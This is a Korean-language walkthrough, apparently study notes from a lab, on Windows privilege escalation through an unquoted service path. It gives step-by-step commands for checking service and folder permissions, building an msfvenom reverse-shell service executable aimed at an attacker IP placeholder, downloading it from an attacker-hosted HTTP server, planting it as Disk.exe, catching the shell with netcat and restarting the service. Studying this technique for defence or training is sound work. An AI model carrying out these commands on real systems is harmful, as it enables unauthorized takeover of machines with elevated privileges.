- 서비스 실행 경로에 공백이 포함되어 있음에도 경로에 따옴표("")가 없음. - Windows는 공백을 명령어와 인자 구분자로 인식하기 때문에, 실행하려는 경로를 여러가지로 오해할 수 있음. - 만약 앞부분에 해당하는 경로에 공격자가 컨트롤 가능한 실행 파일이 있다면, 그 파일이 먼저 실행됨. - Linux PrivEsc에서 Path Hijacking과 거의 같다고 보면 된다. # 단계별 정리 ##### 1단계: 서비스 설정 확인 ```powershell sc qc "disk sorter enterprise" # 파워쉘에서 sc는 Set-Content의 alias # 따라서 sc.exe로 사용해야함 sc.exe qc "disk sorter enterprise" ``` 결과 확인 ```text BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe ``` - 문제: 경로에 공백이 있음에도 따옴표가 없음. - SCM은 이 실행 경로를 아래 순서대로 시도하게 된다. | 시도 순서 | 실행 경로 | | ----- | ------------------------------------------------------ | | ① | `C:\MyPrograms\Disk.exe` | | ② | `C:\MyPrograms\Disk Sorter.exe` | | ③ | `C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe` | - 공격자가 `C:\MyPrograms` 경로에 `Disk.exe`라는 이름의 공격 페이로드를 넣으면 SCM이 `Disk Sorter Enterprise\bin\disksrs.exe`로 가기전에 `Disk.exe` 부터 실행하게 된다. ##### 2단계: 해당 경로의 권한 확인 ```cmd icacls C:\MyPrograms ``` ```text BUILTIN\Users:(I)(CI)(AD) → 하위 디렉토리 만들 수 있음 BUILTIN\Users:(I)(CI)(WD) → 파일 생성 가능 ``` - 일반 사용자도 이 디렉토리에 파일/폴더 생성 가능 - 즉, Disk.exe 생성 가능 -> 하이재킹 성공 조건 충족 ##### 3단계: 리버스 쉘 페이로드 생성 (공격자 측에서) ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=1234 -f exe-service -o rev-svc.exe ``` - Windows 서비스용 `exe-service`포맷으로 리버스 쉘 생성 ##### 4단계: 칼리에서 타겟 윈도우로 페이로드 전송 칼리에서 HTTP 서버 열기 ```bash python3 -m http.server 8888 ``` 윈도우에서 다운로드 ```powershell wget http://<KALI_IP>:8888/rev-svc.exe -O rev-svc.exe # 혹은 Invoke-WebRequest Invoke-WebRequest -Uri http://<KALI_IP>:8888 -OutFile rev-svc.exe ``` ##### 5단계: 리버스 쉘 파일 전송 및 배치 ```cmd move C:\Users\wook\rev-svc.exe C:\MyPrograms\Disk.exe icacls C:\MyPrograms\Disk.exe /grant Everyone:F ``` - 만든 페이로드를 `C:\MyPrograms\Disk.exe`로 이동 - `Everyone`그룹에게 Full Control 권한 부여 ##### 6단계: 리스너 대기 시작 (공격자 측에서) ```bash nc -lvnp 1234 ``` ##### 7단계: 서비스 재시작 ```cmd sc stop "disk sorter enterprise" sc start "disk sorter enterprise" ``` - 서비스가 다시 시작되면서 Disk.exe를 실행함 (SCM이 그렇게 해석하기 때문) - 결과적으로 공격자의 페이로드 실행됨 -> 리버스 쉘 연결 ##### 8단계: 쉘 획득